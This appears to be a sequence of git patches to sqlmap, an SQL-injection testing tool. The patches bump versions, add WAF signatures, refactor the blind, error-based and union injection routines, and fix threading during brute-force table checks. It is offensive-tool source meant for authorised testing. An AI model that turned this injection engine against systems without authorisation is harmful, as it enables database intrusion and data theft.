b/lib/parse/cmdline.py index 51843d6ad79..8e1bb9af567 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -59,6 +59,7 @@ def get_groups(parser): from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSyntaxException +from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import INFERENCE_UNKNOWN_CHAR @@ -829,6 +830,8 @@ def _format_action_invocation(self, action): prompt = "--sqlmap-shell" in argv if prompt: + _createHomeDirectories() + parser.usage = "" cmdLineOptions.sqlmapShell = True From 1b0488160e16010f48c0827eec994b4d76435ecb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Jul 2019 15:07:20 +0200 Subject: [PATCH 522/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/identywaf/data.json | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 083a244d200..0e9d20ab76f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.26" +VERSION = "1.3.7.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index 0192cee1385..435d3cdc2ed 100644 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -55,7 +55,8 @@ "name": "360", "regex": "493|/wzws-waf-cgi/", "signatures": [ - "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC" + "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC" ] }, "aesecure": { From e6173d7eaafd9f84bda794b9ea529fedc6448fe2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Jul 2019 10:30:14 +0200 Subject: [PATCH 523/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/identywaf/data.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0e9d20ab76f..1c4b63dbd61 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.27" +VERSION = "1.3.7.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index 435d3cdc2ed..88b73aa674c 100644 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -847,7 +847,7 @@ "signatures": [] }, "wordfence": { - "company": "Feedjit", + "company": "Defiant", "name": "Wordfence", "regex": "Generated by Wordfence|This response was generated by Wordfence|broke one of the Wordfence (advanced )?blocking rules|: wfWAF|/plugins/wordfence", "signatures": [ From 9d0f446c2491202d360e5797d0cb9f8d1458b8cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Jul 2019 13:03:48 +0200 Subject: [PATCH 524/800] Dummy patch for #3830 --- lib/core/settings.py | 2 +- sqlmap.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c4b63dbd61..9c1b101c2ec 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.28" +VERSION = "1.3.7.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index e5dba8b7a87..ad565dd2b8d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -330,6 +330,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "can't allocate read lock" in excMsg: + errMsg = "there has been a problem in regular socket operation " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " From 453a6fbc6f4e8597556a5fb6b3da7c429345c158 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Jul 2019 13:20:24 +0200 Subject: [PATCH 525/800] Update for #3831 --- lib/controller/checks.py | 2 +- lib/core/option.py | 9 +++++++++ lib/core/optiondict.py | 2 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- lib/request/connect.py | 2 +- 6 files changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6ed0e24a441..be0fc9f01cf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1518,7 +1518,7 @@ def checkConnection(suppressOutput=False): warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) elif wasLastResponseHTTPError(): - if getLastRequestHTTPError() != conf.ignoreCode: + if getLastRequestHTTPError() not in (conf.ignoreCode or []): warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) diff --git a/lib/core/option.py b/lib/core/option.py index 335850ab8fd..81566483760 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1555,6 +1555,15 @@ def _cleanupOptions(): else: conf.testParameter = [] + if conf.ignoreCode: + try: + conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] + except ValueError: + errMsg = "options '--ignore-code' should contain a list of integer values" + raise SqlmapSyntaxException(errMsg) + else: + conf.ignoreCode = [] + if conf.paramFilter: conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] else: diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ad2dc6f5fde..9ded226f8af 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -38,7 +38,7 @@ "authType": "string", "authCred": "string", "authFile": "string", - "ignoreCode": "integer", + "ignoreCode": "string", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 9c1b101c2ec..b84ce06b91d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.29" +VERSION = "1.3.7.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8e1bb9af567..0d51f5d0da5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -176,7 +176,7 @@ def cmdLineParser(argv=None): request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") - request.add_argument("--ignore-code", dest="ignoreCode", type=int, + request.add_argument("--ignore-code", dest="ignoreCode", help="Ignore (problematic) HTTP error code (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", diff --git a/lib/request/connect.py b/lib/request/connect.py index fec444c5fbf..70a2a4e9747 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -646,7 +646,7 @@ class _(dict): if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - if ex.code != conf.ignoreCode: + if ex.code not in (conf.ignoreCode or []): if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code From 8fda828bc909ca6d41225fb1080e3dce71114499 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 11:27:00 +0200 Subject: [PATCH 526/800] Minor refactoring --- lib/core/agent.py | 9 +++++---- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/request/inject.py | 6 +++--- lib/takeover/web.py | 3 ++- lib/techniques/blind/inference.py | 13 +++++++------ lib/techniques/error/use.py | 3 ++- 7 files changed, 21 insertions(+), 17 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 577e856ae50..488ba7a8c79 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -13,6 +13,7 @@ from lib.core.common import filterNone from lib.core.common import getSQLSnippet from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable @@ -91,7 +92,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if kb.forceWhere: where = kb.forceWhere elif where is None and isTechniqueAvailable(getTechnique()): - where = kb.injection.data[getTechnique()].where + where = getTechniqueData().where if kb.injection.place is not None: place = kb.injection.place @@ -236,7 +237,7 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): query = None if where is None and getTechnique() is not None and getTechnique() in kb.injection.data: - where = kb.injection.data[getTechnique()].where + where = getTechniqueData().where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix @@ -284,8 +285,8 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmp suffix = kb.injection.suffix if kb.injection and suffix is None else suffix if getTechnique() is not None and getTechnique() in kb.injection.data: - where = kb.injection.data[getTechnique()].where if where is None else where - comment = kb.injection.data[getTechnique()].comment if comment is None else comment + where = getTechniqueData().where if where is None else where + comment = getTechniqueData().comment if comment is None else comment if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): comment = queries[DBMS.ACCESS].comment.query diff --git a/lib/core/common.py b/lib/core/common.py index ab08b5e9f0a..f4aa3d5ae87 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3222,7 +3222,7 @@ def getTechniqueData(technique=None): Returns injection data for technique specified """ - return kb.injection.data.get(technique) + return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index b84ce06b91d..155458b408f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.30" +VERSION = "1.3.7.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 865d373e1cf..4d686c08b92 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -164,7 +164,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char initTechnique(getTechnique()) - query = agent.prefixQuery(kb.injection.data[getTechnique()].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None @@ -312,7 +312,7 @@ def _goBooleanProxy(expression): initTechnique(getTechnique()) if conf.dnsDomain: - query = agent.prefixQuery(kb.injection.data[getTechnique()].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) @@ -320,7 +320,7 @@ def _goBooleanProxy(expression): if output is not None: return output - vector = kb.injection.data[getTechnique()].vector + vector = getTechniqueData().vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 1a12e3cb0ac..0a583b7f8a4 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -21,6 +21,7 @@ from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath @@ -149,7 +150,7 @@ def _webFileInject(self, fileContent, fileName, directory): query = "" if isTechniqueAvailable(getTechnique()): - where = kb.injection.data[getTechnique()].where + where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index d827f939d9a..c52adc22497 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -23,6 +23,7 @@ from lib.core.common import getCounter from lib.core.common import getPartRun from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite @@ -229,10 +230,10 @@ def validateChar(idx, value): result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if result and timeBasedCompare and kb.injection.data[getTechnique()].trueCode: - result = threadData.lastCode == kb.injection.data[getTechnique()].trueCode + if result and timeBasedCompare and getTechniqueData().trueCode: + result = threadData.lastCode == getTechniqueData().trueCode if not result: - warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[getTechnique()].trueCode) + warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) @@ -342,7 +343,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, incrementCounter(getTechnique()) if not timeBasedCompare: - unexpectedCode |= threadData.lastCode not in (kb.injection.data[getTechnique()].falseCode, kb.injection.data[getTechnique()].trueCode) + unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) @@ -570,7 +571,7 @@ def blindThread(): # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) - query = kb.injection.data[getTechnique()].vector + query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) @@ -594,7 +595,7 @@ def blindThread(): subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) - query = kb.injection.data[getTechnique()].vector + query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index e9939d7e4e7..16a19d7212b 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -22,6 +22,7 @@ from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -124,7 +125,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request - vector = kb.injection.data[getTechnique()].vector + vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression From f06e9ecb581d0029b0d358352b17b5ebeea45c03 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 11:58:40 +0200 Subject: [PATCH 527/800] Minor update for #3833 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/techniques/union/use.py | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 155458b408f..57e53bb8a47 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.31" +VERSION = "1.3.7.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0d51f5d0da5..073142032e5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -745,6 +745,9 @@ def cmdLineParser(argv=None): parser.add_argument("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS) + parser.add_argument("--force-partial", dest="forcePartial", action="store_true", + help=SUPPRESS) + parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 29e72d7a962..640c6687410 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -241,7 +241,7 @@ def unionUse(expression, unpack=True, dump=False): # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: From 819bf47a119db31aeb4bff14f93136519266d99e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 12:16:03 +0200 Subject: [PATCH 528/800] Minor update (storing force-partial) --- lib/core/settings.py | 2 +- lib/techniques/union/test.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 57e53bb8a47..7b2c5bd03f6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.32" +VERSION = "1.3.7.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 6de181381e9..d195e5f2239 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -201,7 +201,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters From b62680b4bcb44c9b0d28169c007e576380b7f5aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 13:26:58 +0200 Subject: [PATCH 529/800] Minor update (--technique=E --common-files) --- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7b2c5bd03f6..31c7233fa77 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.33" +VERSION = "1.3.7.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 16a19d7212b..7ea4343862b 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -188,7 +188,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: break - if output and conf.verbose in (1, 2) and not conf.api: + if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: From db90ff9c3f04b7dd5ef92bc072ca6aa6e7781f5c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Jul 2019 14:59:42 +0200 Subject: [PATCH 530/800] Fixing mess with --common-files --threads>1 (threads in threads - '.shared.' hell) --- lib/core/decorators.py | 20 +++++++++++++++++--- lib/core/settings.py | 2 +- lib/request/inject.py | 2 ++ lib/techniques/blind/inference.py | 24 ++++++++++++++---------- lib/utils/brute.py | 28 ++++++++++++++-------------- 5 files changed, 48 insertions(+), 28 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 6de10a77cac..1f5cd09791d 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -14,7 +14,8 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData -_lock = threading.Lock() +_cache_lock = threading.Lock() +_method_locks = {} def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): """ @@ -38,12 +39,12 @@ def _(*args, **kwargs): key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff try: - with _lock: + with _cache_lock: result = cache[key] except KeyError: result = f(*args, **kwargs) - with _lock: + with _cache_lock: cache[key] = result return result @@ -76,3 +77,16 @@ def _(*args, **kwargs): return result return _ + +def lockedmethod(f): + @functools.wraps(f) + def _(*args, **kwargs): + if f not in _method_locks: + _method_locks[f] = threading.Lock() + + with _method_locks[f]: + result = f(*args, **kwargs) + + return result + + return _ diff --git a/lib/core/settings.py b/lib/core/settings.py index 31c7233fa77..68a71368281 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.34" +VERSION = "1.3.7.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 4d686c08b92..ffdeeb66a4d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -39,6 +39,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE @@ -351,6 +352,7 @@ def _goUnion(expression, unpack=True, dump=False): return output +@lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index c52adc22497..93c8f07b973 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -162,7 +162,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None length = None showEta = conf.eta and isinstance(length, int) - numThreads = min(conf.threads or 0, length or 0) or 1 + + if kb.bruteMode: + numThreads = 1 + else: + numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) @@ -174,13 +178,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: + if numThreads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) - if conf.verbose in (1, 2) and not showEta and not conf.api: - if isinstance(length, int) and conf.threads > 1: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: @@ -459,7 +463,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) - if conf.threads > 1 and isinstance(length, int) and length > 1: + if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar @@ -517,7 +521,7 @@ def blindThread(): if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." - if conf.verbose in (1, 2) and not showEta and not conf.api: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) @@ -547,7 +551,7 @@ def blindThread(): finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) - if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: + if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) @@ -632,7 +636,7 @@ def blindThread(): if showEta: progress.progress(index) - elif conf.verbose in (1, 2) or conf.api: + elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces @@ -661,11 +665,11 @@ def blindThread(): elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) - if conf.hexConvert and not abortedFlag and not conf.api: + if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: - if conf.verbose in (1, 2) and not showEta and not conf.api: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: diff --git a/lib/utils/brute.py b/lib/utils/brute.py index b44ab6b94e3..c27de4c682b 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -102,7 +102,7 @@ def tableExists(tableFile, regex=None): threadData = 